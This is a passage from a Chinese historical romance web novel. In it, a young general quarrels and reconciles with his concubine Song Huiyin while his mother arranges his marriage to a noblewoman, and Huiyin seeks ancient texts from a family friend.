直到太阳落山,裴彧才从韩二郎的庭院离开,韩二郎一路追出来叮嘱道:“记住三点诀窍!!” 裴彧脚步一顿,敷衍的点点头。 他回到临水阁时天已经黑了,院中陶灯亮起,染着一圈光晕,徽音刚刚沐浴完,穿着一身素白直裾,坐在檐下晾发,两条细白的手腕在夜里亮的扎眼。 他重重了踏下脚,有婢女听见动静过来迎他,道了声:“少将军。” 裴彧“嗯”了一声,朝正屋走去,余光一直注视着檐下的那人,毫无动静。 他停住脚步,吩咐道:“去准备饭菜。” 婢女隐晦的看了眼徽音,见她什么都没说,小声回道:“少将军,晚膳时间已过,只剩些糕点了。” 裴彧不悦,斜眼过去:“不是有小灶吗,去弄两个菜。” 婢女期期艾艾道:“那个是颜娘特意给娘子弄的,只有她会。” 裴彧:“……”得,他不配吃。 “下去吧。” 婢女如释重负的离开,一时之间,院中只剩二人,一个在南,一个在北。 裴彧立在门口,他听着韩二郎等人絮絮叨叨一下午,饭没怎么吃,酒倒喝了不少。想起韩二郎所言,第一,不能露怯,不能让女人知道你非她不可,不能让她牵着鼻子走。 他朝徽音走去,发觉她手中拿了一片竹简,密密麻麻写满了他不认识的字,看一眼都觉得头疼。 他重重咳了一声,“我饿了,你去弄些吃食。” 徽音放下竹片,绸缎般的头发如流水般晃动起来,馨香一片。她弯腰穿好鞋,背对着裴彧看不清表情,语气淡淡:“夫人院里应该还有,我去要一些。” 裴彧拉住她的手臂,看着她面无表情的脸,心里头抽动一下,他摸摸鼻头,“算了,我随便用点就行。” 徽音抽回手,裴彧身上的酒气熏得她有些难受,她下意识的退开两步,抬头去看。 他显然已醉了七八分,玄色衣领被扯得松散,胸膛剧烈起伏着。皮肤泛着酒后的潮红,那双平日锐利如鹰隼的眼睛,此刻却像是蒙尘的星子,黯淡而困惑。 除了酒气,她还在他身上闻到了一股淡淡的脂粉味,很浅但是有。徽音不爱涂脂抹粉,院里的婢女也不用。 酒气加脂粉气,她问:“你从何处回来的?” 裴彧见她愿意主动搭话,心里一喜,面上还是一副冷淡的表情,谨记着韩二郎的话语,一副不耐烦的表情,“韩二郎那里。” 徽音轻轻念出声:“韩二郎?” 贺佳莹跟她提过几次,韩二郎来甘泉宫后苦于不能寻欢作乐,便将自己的住处改成酒宴,还招了好些美人歌姬入院,日日摆宴,夜夜笙歌,活脱脱一个秦楼楚馆。 她见裴彧斜倚在凭几上,领口露出来的肌肤上泛着红痕,从前她不知那时什么,如今倒是在明白不过。 徽音指尖深深掐入掌心,用疼痛强迫自己面上维持着得体的,甚至有些僵硬的微笑。早该想到的,只是没想到这一天来得这么快,昨日还同她黏在一起浓情蜜意,说什么绝不负她。 她转开离开,不去看裴彧不耐烦的神色,把人关在门外,“今夜我不舒服,你去别处睡吧。” 裴彧本来跟在她身后打算进屋,猝不及防被她关在门外,差点夹住鼻子。他皱眉不语,一切都是按照韩二郎所言,为何徽音更生气了些,他甚至在她眼底看见了细微水光。 他拍着门,“宋徽音,开门。” 没人应声,他加大力气,木门在他手下吱呀吱呀响,隔壁东院有人喊道:“谁呀,大晚上的。” 裴彧一顿,转头去看,旁屋窗户上一个脑袋叠着一个脑袋的看热闹,见他发现连忙缩了脑袋。 他自觉丢脸,狠狠踢了下门板,放下狠话,“有本事一辈子别让我进。” 颜娘裹着衣服出门,看着裴彧离去的身影,担忧的望着正屋。明明下午睡醒后徽音就告诉她,是她冲动了些,明知裴彧吃软不吃硬还跟他硬来。 她早早的就备下饭食等着裴彧回来,饭菜热了又热。天黑了也不肯进屋,坐在檐下等着裴彧,谁知一回来又吵起来了。 真是冤家。 这厢裴彧出了门无处可去,又不想被裴夫人发现他和徽音吵架一事,只好翻墙去了裴衍的院子,把睡得正香的裴衍从床上挤走,躺了上去。 裴衍睡的迷离迷糊间梦到有人和他抢食,护食的抱住被子一顿拳打脚踢,嘴里说着梦话。 裴彧不妨被他踹了两下,三两下就把裴衍踢下床,不去管坠在地上说梦话的幼弟,自己卷着被褥睡去。 —— 裴衍是被刺眼的阳光的照射醒的,他胡乱扯了两下没抓住帷幔,嘟啷着遮住眼皮,突然发觉身下硬硬的,睡得他一阵腰痛。 裴衍坐起身,发觉自己睡在地上,还以为是昨夜睡姿不好摔下床。他揉了把头发,打着哈欠重新摸上床。 手指胡乱摸着一个温软的东西,裴衍一惊,扯着人惊叫出声,被裴彧一巴掌呼在脸上,“喊什么喊!” “阿兄!”裴衍拍拍脸,睡意彻底没了。 “你怎的在我床上!” 裴彧坐起身,一身酒气的衣服经过一晚上的发酵异常难闻,他嫌弃的扒开外衣扔在地上,敷衍道:“昨夜回的太晚,不想打扰你徽音阿姊。” 裴衍偷笑两声,得意道:“少蒙我了,我看就是你得罪徽音阿姊被赶出门了。” 裴彧捡起床上的软枕砸过去,骂道:“就你话多。” 裴衍抱住软枕笑嘻嘻的凑过去,两只猫眼泛着光,“你跟我讲讲呗,你怎么得罪的徽音阿姊。” 裴彧瞥了眼他,不想理会这个傻弟弟,他伸手解开里衣,使唤道:“找套干净的衣服,我要沐浴。” 裴衍“哦”了一声,盯着他胸前几块地方问:“阿兄,你是被虫子咬了吧,我去找人给你拿药膏。” 裴彧低头看了一眼,胸膛上不知何时多出了几块红痕,不痒他也没发现。电光火石之间,他想起了昨夜徽音的异常,心里头暗骂两句,拧着脏衣服就要出门。 裴衍感觉拦住人,“阿兄,你就这么出去啊。” 裴彧停住脚步,低头嗅嗅,身上确实有股味,他自己都有些嫌弃。 “浴房在哪?” 等他收拾好火急火燎的去找徽音,却扑了个空,原是裴夫人一大早就带着徽音出门,说是去拜访女眷了。 裴彧无奈,只得先去上衙,等晚上再回来给徽音解释。 七月流火,天气转凉。 雕花窗棂前,素馨花香气四溢,裴夫人坐在落地铜镜前梳妆打扮,徽音一身青衣跪坐在她身后,手中握着几只翠玉钗环。 裴夫人收拾好后,招手让人送来一摞竹片放在徽音面前示意她查看。 徽音放拿起竹片,上头记录了几位贵女的出身和品性,都是累世功勋家的女郎,年纪从十五到十八。 裴夫人没让她疑惑太久,她站在屏风后张开双手由婢女伺候她穿衣,心情愉悦:“这些时日我挑了几位女郎,家世品性都是上好,无一处不和我心意的,名单我已经递到皇后娘娘那里,娘娘也没有什么意见,今日叫你来是想让你同我一起去见见。” 徽音在竹片上看到了安阳侯之女李莹月以及冯氏女冯安珺。冯氏女年纪最小,她是冯承的堂妹,性子率真可爱,今年刚满十五,裴彧今年二十有一,冯女郎年纪和他并不相配。 徽音这般想着,也问出心中疑虑。裴夫人已收拾好从屏风后绕出,她今日穿了见碧绿色双绕曲裾,肌肤白皙,眉眼带笑,瞧着年纪不过三十。 裴夫人道:“李莹月是我为彧儿选的,冯安珺是我为衍儿选的,你觉得如何?” 徽音自发的忽视这个问题,她没资格评说,裴夫人也不是真的想她的意见,她斟酌道:“簪缨世家女郎自然是好的,只是小郎君年纪尚小,现在是不是早了些?” “不早了,”裴夫人摆着手,“就是要早点定下来早日成亲,免得向他阿兄一样拖到现在还没个准话。” 徽音沉默半响,“那柳女郎?” 裴夫人戴上最后一个压衣玉珏,头也不回道:“彧儿前些日子说了不会娶她,我本就不属意她当初抛下彧儿另嫁,如今倒是皆大欢喜。” 裴夫人收拾好,带着徽音一路朝南走,看情况是要去南边的飞流水榭,徽音跟在裴夫人身后,听着裴夫人把两位女郎夸了一路。 她回想片刻,这两个女郎她都是见过的,确如裴夫人所言容貌秀丽,品德出众。 裴夫人能找出这两人也是下了功夫的,长安城内,如今适婚的高门贵女并不多,多数早在十三、四岁的时候就定下婚事,等过两年就成婚。 她挑的这两人,从各方面来看都极为适配裴家两位郎君,便是皇后那里也挑不出错。 只是不知,最后会选谁。 徽音一路沉默无话,连裴夫人都察觉不对,她幽幽叹了口气,用过来的人的语气宽慰道:“我知你心中不适,天下有哪个女子愿意同旁人分享自己的夫君,你满长安看看,哪家郎君是只守着一个人过日子的,更何况,彧儿是一定要娶妻的。” “妾知道的。” 裴夫人拉过徽音的手拍拍,好生安慰,“你放心,李莹月都是出了名的贤良淑德,一定容得下你。” 徽音笑着点头,“好。” 裴夫人停下脚步,挥手让跟着的婢女离远些,“等会我让人去给你送点药,从前以为彧儿要娶柳檀,便没让你喝避子药,如今确是不同了,李莹月可是金尊玉贵的女郎,怠慢不得,彧儿成婚前,你不能有孕,可明白?” 徽音沉默良久,点头应声:“妾明白的。” 裴夫人满意的点点头,拍拍徽音的手背,牵着她往前走,“你是再明事理不过的孩子了。” 飞流水榭是靠着岩壁修建的一座水榭,最是清凉不过。所谓飞流,便是在言壁上方有一处飞泻直下的瀑布,汇聚于幽谭之中,泉水涌动。 水榭内坐着两位夫人和一位女郎,面对面各置两个案几,左手边那位是长安城内热衷做媒的肖夫人,右手边面容温婉说话和声细语的是安阳侯夫人,她身侧坐着的那位是她的女儿李莹月,也就是裴夫人相中的未来儿媳。 李莹月并非第一种就令人惊艳的美人,她气质出众,整个人彷佛笼罩在一片沉静的书卷气里。她眼下还有一刻小小的胭脂痣,笑起来时,柔和又好看。 裴夫人松开徽音的手上,上前笑道:“我来迟了,夫人莫怪。” 肖夫人性子爽利,笑吟吟道:“来迟了罚酒一杯就是。” 安阳侯夫人微微一笑,倒是没说什么,只是从徽音出现的那一刻,她视线就没离开过。 徽音垂着头跟在裴夫人身后,她这种身份是在这个场合是没有座位,只能坐在裴夫人身后,充当伺候的人。 她扶着裴夫人坐好,俯下身替她整理裙摆,余光看见那位安阳侯夫人和李女郎一直注视着她。 徽音侧身隐在裴夫人身后,躲避她们的视线,她不是很明白,裴夫人和未来亲家见面,把她一个妾室带上是怎么回事,故意打对方的脸吗。 裴夫人坐好后,端起酒盏朝肖夫人和安阳侯夫人敬酒,笑吟吟道:“我自罚一杯。” 安阳侯夫人是江南水乡养出来的女子,一举一动都带着江南韵味,她声音虽柔和,话语却直奔主题,“这位便是宋娘子吧。” 徽音直起身,朝三人施礼,“妾见过侯夫人,肖夫人,李女郎。” 安阳侯夫人微笑,“百闻不如一见,果真是个美人。”她说完这句后就不再开口,任由肖夫人和裴夫人丢出话题也不接话,一时之间,场面有些尬尴。 徽音望着对面的母女,心中头的狐疑阔大两分,她实在有些看不懂,两家见面,为何安阳侯夫人如此冷淡,是不满这桩婚事还是不满她? 一直默不作声的李莹月突然开口,“裴夫人,我想同宋娘子说会话。” 裴夫人和肖夫人对视一眼,面色迟疑,都说这李女郎温婉贤良,怎么这一见面就要拉着徽音说话,她想干什么? 安阳侯夫人也开口:“她们年纪相仿,出去聊聊也无妨。” 徽音低着头,等裴夫人发话。她私心里是不想去的,她不想知道李莹月要说什么,也不觉得自己有什么能和李莹月聊的。她只想快点结束这无聊宴饮,回去专研袁秩留下的帛书。 “既如此,你就去吧。”裴夫人对身侧是徽音说道。 “是。”徽音起身,跟着李莹月身后走出水榭,阳光刺眼,照的她心烦意乱。 李莹月遣走婢女,也不管身后的徽音有没有在听,自顾自的开口:“这是我第一次见你这么狼狈的模样。” 徽音脚步微顿,手掌握紧又慢慢松开,“女郎想说什么?” 李莹月笑着回头,“别紧张,我就是想和你聊聊,没别的意思。” 她见徽音一脸防备的模样,倒没在说其他的,跟她母亲一样直奔主题,“你知道裴夫人属意我一事吧,也许我们以后还会生活在一个屋檐下,我只是想跟你拉近关系。” 徽音嘲讽的弯弯嘴角,“女郎嫁进来是妻,我是妾,只有我讨好你的份。” 李莹月不知想到什么眼神黯淡,还想说些什么,眼神突然凝注,看着水榭的方向露出光芒。 徽音顺着他的方向看去,水榭中不知何时起出现了一个男人,肩宽背窄,侧脸如玉,即使看不清他的侧脸,徽音也知道他是裴彧。 裴夫人身边的婢女一路小跑过来,喘着气来到李莹月身边,“李女郎,少将军来了,裴夫人请您过去一见。” 李莹月抬手整理了一下发丝和衣裙,抿着笑抬步离开。徽音想跟上前,却被裴夫人的婢女拦住,她为难道:“宋娘子,女君说让你先别过去。” 徽音收回脚,李莹月已经走到水榭内和裴彧见礼,裴彧也转过身朝她点头,眼尾上扬,笑意明显。 她看着水榭中的一对壁人,真般配。 第48章 你还在生气吗? 原本艳阳高照的天气突然被乌云遮蔽, 光线暗沉。徽音凝视着那两人的身影,指甲紧紧攥紧掌心。 她也说不清现在是何想法,明明早就做足了准备, 可在看见这一幕后,她的心肺还是烧得滚烫, 抓心挠肝让她不得安宁。 她看见几位夫人笑着同裴彧说了几句话,看见李莹月含羞带怯的站在裴彧身边,一双美目不曾离开过他身上,浑身上下都散发出一股娇怯的味道。 裴彧背对着她, 徽音看不清他的表情,他素来不喜欢这种场合, 更别说站在那里任由一群夫人调笑了, 今日倒是特例。 徽音站久了有些累,她想转身离开, 裴夫人派来的婢女也不让。她只能席地而坐,举着手遮阳,漫无目的的看着他们。 没过一会,她就看着裴彧和李莹月两人单独出了水榭,边走边聊, 水榭里的三位夫人望着他们笑语连连, 不用猜都知道在说什么, 无非是些什么天作之合, 郎才女貌。 虽然不愿承认, 但事实确实如此, 徽音嫉妒李莹月,嫉妒她可以和裴彧并肩而行,取代她的位置, 不,其实从一开始,就没有她位置。 她垂下头,呼出一口气,该怎么形容这种感觉呢,就好像你一个很喜欢很喜欢的东西,被别人拿走后,你还得笑着告诉她,没关系,这本来就是你的, 真是令人不适,她站起身拍拍衣裙,不顾那婢女的阻拦往回走。裴彧给她带来过许多欢愉,虽然只是片刻,却也够了。 徽音甩开脑袋里杂乱的思绪,迈着轻快的步子回迎风馆,她手头的文书有限,有好些古字无法考究翻译,她不能再浪费时间在无关紧要的事情上了。 算算时间,两个月后就是中秋,中秋节庆,陛下必定会举行宫宴,她身份够不上,去求求裴彧也能进宫,到时候趁机拿到他的腰牌去天禄书阁,找到她想要的东西,这一切就结束了。 这些令人无法承受,只想远离的痛苦,酸涩还有嫉恨,就都不会再有了。 徽音回到迎风馆,正好碰上在外游玩回来的贺佳莹,她面前站着一个儒雅年轻男子,身量不高,容貌普普通通的,笑起来有两个酒窝。 想必就是那位太史令的小儿子郭廉,他怀中抱着一个布包鼓鼓囊囊的,布包浸出来的脏水弄脏他的衣裳,他却没丝毫在意,笑着听贺佳莹絮絮叨叨。 徽音在树后看了会,那两人终于叙话完,依依不舍的告别,郭廉将怀中的布包递给贺佳莹,布包露出一角,里面是绿油油的莲蓬。 看样子两人感情不错,等回了长安估计就要定下了。 徽音放慢脚步走过去,郭廉已经走远了,贺佳莹还站在门口眼神告别,徽音悄悄走过去,拍着她的肩膀,“别看了,人都走远了,你想在这门口当望夫石吗?” 贺佳莹吓一跳,哆哆嗦嗦的回头,瞧见是徽音呼了口气,“你吓死我了!什么时候来的?” 徽音:“从你拉着他的扭扭捏捏的时候。” 贺佳莹羞红脸,跺着脚跑进屋,边跑边嚷:“你怎么偷听别人讲话!” 她没回自己的院子,反而跑到徽音的西院,将手中的布包递给阿蘅,徽音跟在她身后进屋,“郭廉给你摘的,你给我做什么?” 贺佳莹坐在檐下,接过颜娘递来的凉茶喝了几口茶道:“我吃不了怎么多,我记得你喜欢喝莲子心泡的茶,特意让郭廉给你摘的。” 徽音心上彷佛被捶了一下,她脱鞋的动作僵在那里,一阵阵的酸意从胸口蔓延出来,怎么都想不到,到头来,裴家最惦念她的居然是贺佳莹。 她动作迅速的擦干眼角的泪,强装镇定的问道:“你与郭廉,如何了?” 贺佳莹吃吃的笑起来,摇晃着脑袋,眼神眯起,“他很好,不介意我名声不好,也不介意我规矩不行,他说,等以后我们成亲了,他就带我去天极山。” 徽音坐到她身边,“天极山在哪?” “在西边,据说山上一座鹊桥,就是牛郎织女里面的那个鹊桥,男女若是携手走过,下一辈子也会再相遇,结为夫妻。”贺佳莹神神秘秘的凑到徽音耳边。 徽音抱着膝盖靠在墙上,望着贺佳莹甜蜜的笑容,有些艳羡。 她呢喃道:“真好。” “对了,”贺佳莹转头问,“你今日不是跟姨母出去了吗,怎么就你一个人回来了?” 徽音不想聊这个话题,她揉揉有些僵硬的脸,从地上起身往内室走去,声音疲倦,“我有些累,先休息会。” 贺佳莹在身后喊道:“那我不打扰你了,你好生歇着。” 徽音没什么力气的点点头,她一路走回来出了一身汗,身上粘腻的紧,用清水沐浴后穿了件鹅黄长裙,坐到案几旁开始查典籍。 冯承给她的帛书一共有七卷,其中有两卷提到了她阿父的名字,也正是那两卷复杂,好些字她从古籍中都没有找到。按照现在的进度下去,别说两月,就是两年她也不可能知道上面写的什么。 徽音难受的趴在桌上,将头埋进手臂,她不想再留在裴府了,恨不得现在就离开,再也看不见裴彧那张脸。在这里,她无时无刻不在想着裴彧,想着那些破事,搅得她不得安宁。 屋外的知了叫个不停,烦不胜烦,徽音一脚踢开案几,案上摞起的竹简噼里啪啦的的摔在地板上,惹得屋外闲话的阿桑阿蘅等人一惊,连忙上前问:“娘子,怎么了?” 徽音站在阴影里,面无表情的赶她们走,她不喜欢发脾气,不代表她没脾气。 阿蘅和阿桑还是第一次见她这副模样,娘子情绪很少,莫说发脾气,展颜的时候都不动。 她不喜说话,常常一个人坐着看书练字,一个人可以呆上半天。也不爱打骂奴仆,有时少将军骂她们,她还会出来解围。 阿蘅期期艾艾的问颜娘,“娘子心情不好,怎么办?” 颜娘坐在屋外剥莲蓬,见状摇摇头,叫她们下去歇息。心中有气不撒出来,时间久了,人都憋坏了。 半响,颜娘才听见里屋传出声音,她侧头看去,徽音蹲在地板正在收拾滚乱一团的竹简。 她推门进去,徽音听见声音抬头,跟没事人一样笑道:“傅母,你怎么进来了?” 颜娘捧着剥好的莲子放到案几上,白嫩嫩的莲子摆在玉盘中,香嫩可口,她蹲下身帮着徽音收拾,“快要到你十八岁生辰了,想好怎么过了?” 徽音一愣,颜娘不提她都要忘了,她的生辰在五日后,往年阿父阿母还在时,都会提前一个月替她准备生辰礼,无需她记日子,生辰当日,阿母会亲自下厨为她做一碗长寿面。 如若宋家未出事,按照她和阿父的约定,今年阿父会告假一月,带着一家人南下荆州游玩。 徽音垂下眼,“随便过过吧。” 颜娘不赞同道:“这是你十八岁生辰,不能随随便便,过两日我托人弄几条新鲜的鲂鱼,给你做鱼丸吃可好?” 徽音看着颜娘额上好包扎着的伤口,喉间哽了哽,不想让她折腾,故作不在意道:“我吃碗长寿面就好。” 颜娘皱了皱眉,闷着头不说话,将桌上的玉盘推过去,抢走徽音手中的竹简,麻利的摆放好。 徽音咬着莲子,甘甜可口,令她心情也不由得好上几分。 她坐在原地思虑片刻,古籍珍贵,因她自幼喜欢父亲才特意为她搜罗来了几卷,都是些残缺的记录。 当今世上,珍贵古籍藏书多为几大氏族 所持,其中又以琅琊王氏为最,据说王氏主宅内的袖珍阁收录了万卷藏书。 眼下她能求助的也只有一人,大家族人多,统一被安排住在北宫,此处并不像迎风馆那样宽敞,宫内走动的人影颇多。 徽音等了半个时辰没等到王寰,太阳晒得她脸有些疼。 她走到北宫西殿外王家家仆前,温声细语的请他们帮忙向王寰通报一声。 侍从打量着面前貌美的女郎,面上踌躇不定。 从前也有许多女郎来找大郎君,他一向不近女色,每次都是不见,后来索性不再让人通传。 但眼前的女郎比以往那些要好看很多,态度诚恳,侍从心中有摇摆不定。 “宋徽音,真的是你!你来干什么?” 侍从回头看去,后退两步,是府内最为难缠的三娘子王姮。 王姮一身织金曲裾,金线在光下闪闪发亮,她身量不高,眉眼细长,下颚微尖,笑起来像只倨傲的小狐狸。 王姮趾高气昂的走到徽音面前,“宋徽音,你来干什么?” 徽音看了她一眼,移开目光,她素来与王姮不和,也知她品性刻薄,并不想理会她。 王姮迈着碎步上前,娇笑道:“不会是裴家不要你了,你又来找我大堂兄吧。” 她声音略高,四周的人都被人吸引过来。 徽音不想引入注目,想着明日再来,打算离开之际,却被王姮张手拦住。 王姮走到徽音面前,恶意的笑着:“你死了这条心吧,我们王家才不会要你这种破、烂、货。” 最后三个被她意味深长的拉高,尾音带着尖利。 徽音盯着得意洋洋的王姮,脸上看不出丝毫波澜,嘴角甚至还挂着一抹笑意,这些时日她心中都憋着一口气,王姮非要撞上来,那就新仇旧恨一起算。 徽音掀起眼皮,句句带刺,“我自然比不得你王氏女,命好,嫁个了个好郎君。 她也有模有样的学着王姮,将最后三个字的尾音拉长,抑扬顿挫。 王姮面色忽的狰狞,她最烦的就是别人提她那个烂泥扶不上墙的郎婿!她王姮自幼出身尊贵,事事如意,唯独在婚事上栽了个大跟头,嫁了个不上进的寒门子弟。 她恶狠狠道:“你倒是不怕死,跑到我王氏的地盘来挑衅,你就不怕……” 徽音斜藐着她,讥讽道:“怕什么?你不过是个嫁出去的庶出女儿,夫婿不显,自己也无本事,在王家不过是个边缘人,也只能跑到我面前来耍耍威风。” 王姮气的发颤,指着徽音抖手道:“早知你如此猖狂,当日你上门求救时我就该叫人打死你!” 徽音眼中冷意更甚,“王氏女果真威风,随随便便脱口就是打死人,视律法为无误。” 她一提,徽音也想起那日在王家遭受的羞辱。阿母病重,她也求到过王家,还没进门就被王姮拦在门外,叫了几个男仆上前撵她走,字字羞辱,句句诛心。 “……你。”王姮气急,不顾身后婢女的阻拦就要动手。 “住手!” 王姮回头望去,只见王寰站在宫内,身后还跟着三个仆从,目光发冷的盯着她。 “大堂兄,你听我解释!”王姮心慌起来,徽音所言句句扎她的心,那是因为她说的都是真的。她在王家根本没什么地位可言,也就外头看着光鲜亮丽一点。 王寰是未来王家的家主,她要是得罪了他,以后日子可就难过了。 王寰面无表情道:“我不想听,如果你还想在王家继续待下去的话,现在就走。” 王姮脸色难看,明白王寰的性子,他只是看上去温润如玉,实则说一不二,不容忤逆。 她咬牙看了徽音,气愤冲冲的撞开人离去。 她走后,王寰面带歉意的走出来,“抱歉,徽音,是我没有约束好她。” “王姮的错,与你何干。”徽音并没有把春日里上门求助却被赶走的事情说出来。事情也过去了,现在再拿出来说也无济于事,无非是叫王寰对她多几分歉意。 王寰,从来都没有对不起她。 “你来找我定是有要事吧。”王寰领着徽音进殿,方才那些看热闹的人已经被人驱走。 徽音沉默的点点头,她知道自己很卑劣,利用王寰对她的情谊,但她没有办法了。 她抿着唇,双手无意识的握紧,“我想让你帮我找几本周文字的古籍,王氏藏书应该有。” 王寰什么都没问,温柔坚定道:“我知道了,我这就让人回去取。” 徽音低着头,声音很轻,“谢谢你。” 王寰失笑,笑容如同清澈的秋水,明亮干净,不含一丝杂质,让人感到安心,“我很高兴,你能来找我。” 徽音心中难受极了,她望着往回的笑颜,喉间发涩,什么话都说不出来。 —— 所谓人倒霉时喝凉水都能塞牙缝,这话果然是不假的。 徽音刚解决了一件大事,一扫沉闷的气息,脚步轻快的往回走,与从飞流水榭回来的裴夫人和裴彧撞了个正着。 她的嘴角慢慢恢复平静,脚步也变得沉重起来,她没和裴夫人打招呼偷偷溜走,裴夫人定是要训她。 果不其然,裴夫人一见她就停住脚步,等在门口,眉眼间藏着怒气,“你怎么回事,让你等一会你就独自走了,连招呼都不打一声。” 徽音垂眼,双手乖乖的放在腹前,小声道:“妾不舒服,便先行离开。” 裴夫人眉头一皱,正想长篇大论的教训一顿,话还没脱出口就被裴彧截断,只见裴彧蹙着眉,望着徽音道:“看过医官了吗?哪里不舒服?” 徽音眼风未动,敷衍道:“没什么大碍。” 裴夫人只觉得儿子降了智,身体不舒服还能出去闲逛?她刚才明明瞧见了,宋徽音回来时眉眼带笑,脚步轻快,哪有一点不舒服的模样,分明是性善妒,见裴彧要娶妻便耍小性子,借机生事。 她绝不能容忍此事发生,想到此处,她沉下脸,“你跟我过来。” “阿母,你刚刚不是喊累吗,先去歇着吧。” 裴彧拉住徽音的手臂,将人挡在身后,趁裴夫人不注意捞住徽音的小手,在手里揉捏。 徽音想要抽手被却他死死的抓住,跟狗皮膏药一样甩不开。 裴彧指节钻进她的柔软的掌心微微用力掐了一下,警告她别再乱动。 裴夫人皱着眉,不悦道:“你给我让开!我今天非要好好教训一下她不可。” 裴彧不动如山的站在原地,任由裴夫人推搡打骂,眉眼沉静,脸上带笑看似温和,身体未动半分,不容置疑。 裴夫人盯了儿子一会,胸口气的得上下起伏。她闷气片刻,瞥了眼躲在他身后的徽音,不再提要骂她的事,只刻意叮嘱道:“此事作罢,不过,你可别往了答应我的事情,五日后,你得随我李家。” 她说完冷冷看了徽音一眼,拂袖离去。 徽音长睫微颤,五日后,李家,所以他和李莹月的婚事已经定下了吗?倒是挺巧,刚好在五日后。 裴彧松开手,转身抱臂看着徽音,低头凑近她的脸颊,长长睫毛差点怼进徽音的眼睛。 “不是说身体不舒服吗,又骗我?” 徽音面无表情的越过他走进院里,淡淡回道:“我是骗你阿母。” 裴彧叹了口气,大步走到徽音面前,倒退着走路,盯着徽音道:“还生气呢?” 徽音停住脚,终于是瞧了他一眼,摇头道:“我已经不生气了。” 裴彧唇角勾起一抹笑,带着几分若有若无的戏谑,“又骗人,你这可不像不生气的样子。” 徽音扬起笑,拉下裴彧的身体靠去过,轻轻吻在他脸上,而后推开他露出微笑,轻声细语,“我真的不生气了。” 她说完没管裴彧,朝西院走去。 裴彧停在眼底,看着徽音的背影,微微皱起眉头,直觉告诉他,徽音不对劲,但他又说不出来哪不对劲。 他跟上去强势有力的握住徽音的手掌,不让她挣脱,低着头打量她的表情,“我今日去飞流水榭找你,是想跟你道歉,昨日是我不对。” 他看着徽音毫无反应的脸,抿紧唇继续道:“我不会再阻止你见冯承了。” 徽音点点头,没有说话。 裴彧握着的手不禁用了些力,他倒宁愿徽音跟他生气,像昨天那样跟他吵架,也好过现在这样,视他为无物,对自己比她刚进府时还要陌生。 徽音皱眉,“你捏疼我了。” 裴彧蓦的松开手,沉默的跟在徽音身后。 两人一前一后进了西院,院中的婢女纷纷停下手中的动作,不敢发出一丝声响,深怕他们又吵起来。 徽音脚步不停,径直走进内室,坐在案几前翻开竹简,竹简老旧,字迹褪色残缺,她得誊抄一份新的。 内室只有她翻动竹简和笔锋沙沙的声音,裴彧坐到徽音的对面,双臂撑着握在身前,腰背紧绷。 沉默了一会,他问:“你在写什么?” 徽音不咸不淡回了句:“抄书。” “多吗,要不要我帮你?”见她还愿意搭理自己,裴彧立刻接话。 徽音不带一丝犹豫的拒绝,“不必。” 裴彧张张嘴还想说些什么,徽音先一步打断他,竹简摞在桌面发出脆响,“请不要打扰我。” 裴彧:“……好。” 颜娘靠在墙角仔细听了一会,没听见里面吵起来的动静,她才舒下心,摆手让其他人继续打扫院子。 她手中缝衣的动作不停,耳朵却一直竖起听着里面的动静。听了一会,颜娘觉得有些不对劲,屋内异常安静,没人说话,也没人起身。 她想了想,叫阿蘅把新酿的浆果饮子拿出来,又弄了些果脯糕点,装在盒内送进去。一进门,就看见徽音坐在案几边,神色认真,背脊挺直,手下书写的动作不停。 裴彧则坐在她对面,衣领微乱,他身体前倾后仰,面朝徽音,眼神不眨的盯着她,手中握着块玉珏不停的把弄,另一只手来回在后颈揉搓,一副焦躁不安的模样,连她进门都没发觉。 颜娘走到案边,把漆盘中的浆果饮子和糕点取出来摆在案桌上,轻声道:“用些糕点吧。” 徽音微微点头,手下动作却没停,铺再桌上的竹简已经写满了一半,字迹工整娟秀,还剩一截需要补齐。 颜娘在心中深深叹了口气,瞅瞅低头抄书的徽音,又瞅瞅那边焦躁不安的裴彧,只觉得气氛实在压抑沉默,让她待不下去。 第49章 她一定恨死他了 坐在一旁的裴彧听见颜娘的声音后眼睛一亮, 他大概想明白是什么原因了,徽音对颜娘的重视非同一般,甚至愿意为她不顾自己的性命。 他昨日盛怒之下吼了颜娘, 徽音嘴上不说,心里肯定是怪罪的。 裴彧坐在原地, 扬起一抹笑,对颜娘和声细语道:“什么浆果饮子,给我也尝尝。” 颜娘脚步一停,看了眼不说话的徽音, 心中有些好笑,这两人怎么跟小孩子一样斗气, 她倒了碗饮子放到裴彧身边, 笑道:“是用莓果酿的,酸甜可口, 少将军尝尝。” 裴彧端起茶碗饮了一口,腮帮子都要酸掉,他皱着眉,这东西怎么这么酸。 他默了默,仰头一碗饮尽, 等缓过那阵酸劲后昧着良心赞道:“很……好喝, 味道很特别。” 颜娘笑弯了眼, “少将军喜欢就行。”屋外有人在轻轻唤她, 颜娘行了个礼, 起身出门。 裴彧心中有些着急, 偷偷看了眼徽音,她怎么还没动静,自己都向颜娘示好了, 她怎么还生气,难道要他亲口向颜娘赔礼道歉吗? 眼看颜娘要走出门,徽音还是一副两耳不闻窗外事的模样,裴彧发了狠,扬声道:“颜娘……昨日是我不对。” 这开头的话一出口,后面也没那么难了,“我不该胡乱迁怒你,请你原谅。” 颜娘完全被吓住了,磕磕绊绊道:“少将军……你……” 裴衍年纪尚幼,又正是好面子的年纪,被徽音一激向她赔礼,虽有些意外,倒也无甚惊讶。 可裴彧,他少时尊贵,功勋卓著,又是天子重臣,连太子吴王都要给他三分面,这辈子,除了皇帝皇后,也没什么人能让他低头了。 这样一个尊贵显赫之人,居然对她一个奴婢赔罪道歉,这是万万不敢相信的。颜娘手足无措,慌忙看着徽音。 裴彧也看过去,手中泛着冷汗,他第一次带兵伏击时也没这么紧张过。 徽音书写的手一顿,落下最后一个字,“傅母,你先下去吧。” 颜娘呼了口气,看了眼神色柔和下来的裴彧,忙不怠的退出屋,还贴心的关上门。 颜娘走后,屋内又只剩二人,裴彧走上前,“我已向颜娘赔罪,你……不生气了吧。” 徽音倒没想过让裴彧向颜娘赔罪,他突然来这一出,不仅吓到颜娘也吓到了她。 “少将军,你实在不必为我这样,”徽音顿了顿,继续道,“你身份尊贵,愿意伺候你的人多的……” 裴彧没等徽音说完,开始脱衣,他动作很快,眨眼间外衣便被丢在地上。 徽音话音顿住,“你要干什么?” 裴彧不说话,只一味脱衣服。 徽音浑身紧绷,起身朝后走,裴彧哪里会放过他,他单手一动,轻而易举的将徽音按回去。 “你别乱来。”徽音一脸警惕的望着他,抓住桌上的竹简抓在手上。 裴彧微微倾身,原本宽松的里衣顺势散下,从她的角度,恰好能窥见衣襟下坚实而流畅的肌肉线条一路向下,没入裤腰。 